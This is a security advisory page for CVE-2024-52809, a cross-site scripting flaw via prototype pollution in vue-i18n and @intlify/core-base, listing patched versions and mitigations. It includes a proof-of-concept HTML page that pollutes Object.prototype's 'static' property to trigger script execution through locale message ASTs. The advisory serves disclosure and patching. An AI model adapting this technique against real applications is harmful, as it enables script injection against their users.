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CVE-2024-52809 — @intlify/core-base

Fix: intlify/vue-i18n@72f0d32

CVE-2024-52809 is a Cross-site Scripting (XSS) vulnerability in @intlify/core-base. A fix is available for @intlify/core-base — see the affected versions and patch details below.

Cross-site Scripting vulnerability with prototype pollution in vue-i18n

Also known asGHSA-9r9m-ffp6-9x4v
Published
Nov 29, 2024
Updated
Aug 12, 2026
Affected
9 pkgs
Patched
9 / 9
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-52809.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

9 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

41other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@intlify/core-basenpm
2.6Mdownloads / week
vue-i18nnpm
2.7Mdownloads / week
@intlify/corenpm
485Kdownloads / week

Description

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n. we can then translate them using t and $t. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations. About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n, so there is always a property that is attached during optimization like this time. But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>

Workarounds

Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.

References

Affected Packages

9 total 9 fixed
EcosystemPackageVulnerable rangeFix
📦npm@intlify/core-base≥ 9.3.0&&< 9.14.29.14.2npm install @intlify/core-base@9.14.2
📦npmvue-i18n≥ 9.3.0&&< 9.14.29.14.2npm install vue-i18n@9.14.2
📦npm@intlify/core≥ 9.3.0&&< 9.14.29.14.2npm install @intlify/core@9.14.2
📦npm@intlify/vue-i18n-core≥ 9.3.0&&< 9.14.29.14.2npm install @intlify/vue-i18n-core@9.14.2
📦npmpetite-vue-i18n≥ 10.0.0&&< 10.0.510.0.5npm install petite-vue-i18n@10.0.5
📦npm@intlify/core-base≥ 10.0.0&&< 10.0.510.0.5npm install @intlify/core-base@10.0.5

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @intlify/core-base, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @intlify/core-base to 9.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-52809 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-52809 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-52809. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Vulnerability type XSS ### Description vue-i18n can be passed locale messages to `createI18n` or `useI18n`. we can then translate them using `t` and `$t`. vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST. In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as `@intlify/unplugin-vue-i18n` and bulder to convert the AST in advance when building the application. By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST. The AST generat
O3 Security · Impact-Aware SCA

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CVE-2024-52809: @intlify/core-base XSS | O3 Security